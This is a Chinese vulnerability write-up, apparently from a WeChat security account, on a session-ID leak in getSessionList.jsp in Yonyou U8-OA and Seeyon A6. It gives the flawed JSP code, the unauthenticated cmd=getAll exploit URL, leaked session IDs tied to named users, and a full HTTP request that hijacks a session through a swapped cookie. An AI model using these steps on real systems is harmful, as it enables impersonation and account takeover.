一、漏洞简介
用友U8-OA和致远A6系统中的getSessionList.jsp文件存在漏洞,攻击者可利用该漏洞获取到所有用户的SessionID,利用泄露的SessionID即可伪造用户身份登录系统获取权限。
二、漏洞成因
getSessionList.jsp
存在缺陷
<%@ page contentType="text/html;charset=GBK"%>
<%@ page session= "false" %>
<%@ page import="net.btdz.oa.ext.https.*"%>
<%
String reqType = request.getParameter("cmd");
String outXML = "";
boolean allowHttps = true;
if("allowHttps".equalsIgnoreCase(reqType)){
//add code to judge whether it allow https or not
allowHttps = FetchSessionList.checkHttps();
if (allowHttps) response.setHeader("AllowHttps","1");
}
if("getAll".equalsIgnoreCase(reqType)){
outXML = FetchSessionList.getXMLAll();
}
else if("getSingle".equalsIgnoreCase(reqType)){
String sessionId = request.getParameter("ssid");
if(sessionId != null){
outXML = FetchSessionList.getXMLBySessionId(sessionId);
}
}
else{
outXML += "<?xml version="1.0" encoding="GB2312"?>rn";
outXML += "<SessionList>rn";
// outXML += "<Session>rn";
// outXML += "</Session>rn";
outXML += "</SessionList>rn";
}
out.println(outXML);
%>
该文件没有权限验证,当cmd参数为getAll时,便可获取到所有用户的SessionID。
三、漏洞复现
用友U8-OA
系统首页显示如下
http://xx.xx.xx.xx/yyoa/index.jsp
访问下列地址获取用户sessionid的值
http://xx.xx.xx.xx/yyoa/ext/https/getSessionList.jsp?cmd=getAll
这里以dxf 010581FB90ADEFAF718FB07DF53AC294
为目标
获取SESSION之后访问:/yyoa/common/js/menu/menu.jsp
,然后替换Cookie
GET /yyoa/common/js/menu/menu.jsp HTTP/1.1
Host: xx.xx.xx.xx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:JSESSIONID=010581FB90ADEFAF718FB07DF53AC294
Connection: close
根据响应包中用户的名字和前面得到的用户名dxf对比可发现系统账号是用户姓名的首字母,也证明了成功伪造该用户的身份登录了系统。
致远A6系统
系统首页显示如下
http://xx.xx.xx.xx/yyoa/index.jsp
同样访问下列地址获取用户sessionid的值
http://xx.xx.xx.xx/yyoa/ext/https/getSessionList.jsp?cmd=getAll
这里以李燕 F3DD5D8269C46BF09137F30A8816BAFD
为目标
获取SESSION之后访问:/yyoa/common/js/menu/menu.jsp
,然后替换Cookie
原文始发于微信公众号(守卫者安全):用友U8-OA和致远A6系统从信息泄露到伪造用户登录
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论